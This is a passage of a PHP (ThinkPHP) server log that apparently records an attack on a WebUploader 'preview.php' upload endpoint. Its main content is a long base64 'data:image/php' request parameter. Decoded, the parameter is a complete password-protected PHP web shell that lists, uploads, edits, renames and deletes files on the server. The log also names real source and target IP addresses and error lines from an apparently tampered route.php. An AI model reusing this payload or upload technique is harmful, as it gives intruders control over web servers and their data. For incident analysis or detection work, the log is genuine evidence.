CAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:08+08:00 ] 119.42.146.234 POST 59.110.137.245/Public//webuploader/0.1.5/server/preview.php [运行时间:0.002738s] [吞吐率:365.23req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAg